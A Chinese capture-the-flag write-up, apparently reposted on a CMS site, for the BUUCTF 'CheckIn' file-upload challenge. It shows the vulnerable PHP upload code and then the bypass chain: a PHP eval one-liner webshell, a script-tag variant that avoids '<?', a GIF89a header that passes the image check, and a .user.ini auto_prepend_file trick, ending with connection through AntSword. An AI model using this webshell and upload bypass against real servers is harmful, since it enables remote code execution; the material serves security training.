当前位置: 首页 > news >正文

BUUCTF-web刷题篇(19)

28.CheckIn

源码:

#index.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

可以看出文件上传类的题目,绕过后缀的文件格式有php,php3,php4,php5,phtml,pht。

构造木马文件<?php @eval($_REQUEST['shell']);?>命名为flag.php

上传木马文件,显示illegal suffix!非法后缀,将flag.php改为flag.jpg,继续上传木马文件,显示<?in vontents!存在违法内容"<?"

改变思路点,将PHP一句话转换为JS形式

重构木马文件

<script language="php">@eval($_REQUEST['shell']);</script>

继续上传

显示exif_imagetype:not image!

重构

GIF89a<script language="php">@eval($_REQUEST['shell']);</script>

上传成功,使用蚁剑测试连接,可以连接,但是返回数据是空的,猜测后台并没有解析PHP代码。访问题目源码,提示是.user.ini配置文件。

.user.ini配置文件与.htaccess配置文件比较类似,概述来说,htaccess文件是Apache服务器中的一个配置文件,注意这几个字“改变文件扩展名”。

.htaccess配置文件格式

<FileMatch "1.jpg>

SetHandler application/x-httpd-php

.user.ini配置文件和.htaccess配置文件都是为了解析PHP代码

可以把.user.ini理解为用户可自定义的php.ini配置文件,.user.ini的两个配置项,auto_prepend_file是在文件前插入,auto_append_file是在文件最后才插入。

创建.user.ini文件

GIF89a
auto_prepend_file=flag.jpg

上传.user.ini文件

连接蚁剑:密码:shell

http://www.dtcms.com/a/123184.html

相关文章:

  • Vulhub-DC-3靶机通关攻略
  • 【MySQL】——理解事务的隔离性、MVCC、当前读、快照读
  • 力扣 922. 按奇偶排序数组 II :双指针原地交换
  • 2025年第十八届“认证杯”数学中国数学建模网络挑战赛【ABCD题】思路分析
  • Java 实现 List<String> 与 String 互转
  • CentOS Stream release 9安装 MySQL(二)
  • 在Halcon的语义分割中,过度拟合解决方法
  • 什么是中性线、零线、地线,三相四线制如何入户用电
  • JVM底层详解
  • ANTLR v4 中文文档1:语法词典Grammar Lexicon部分
  • NginxWebUI:可视化 Nginx 配置管理工具,告别繁琐命令行!
  • 高并发内存池(三):PageCache(页缓存)的实现
  • Window代码向Linux平台移植问题汇总
  • pytorch TensorDataset与DataLoader类
  • GRBL运动控制算法(五)脉冲生成Bresenham算法
  • 基于 Spring Boot 瑞吉外卖系统开发(三)
  • HackMyVM - todd记录
  • 编译器bug ?
  • (十二)安卓开发中FrameLayout的使用方法详解
  • 在计算极限的时候泰勒公式到底展开到第几项
  • 阿里云CDN与DCDN主动推送静态资源至边缘服务器的ASP.NET WEB实例
  • KaiwuDB 数据库基本概念解析
  • 山东大学软件学院创新项目实训开发日志(9)之测试前后端连接
  • 计算机组成原理 原码乘法 补码乘法
  • 体验OceanBase的 并行导入功能
  • 631SJBH中小型企业的网络管理模式的方案设计
  • AI日报 - 2025年4月11日
  • 44、Spring Boot 详细讲义(一)
  • 共享内存(与消息队列相似)
  • 【Java面试系列】Spring Boot微服务架构下的分布式事务解决方案与性能优化详解 - 3-5年Java开发必备知识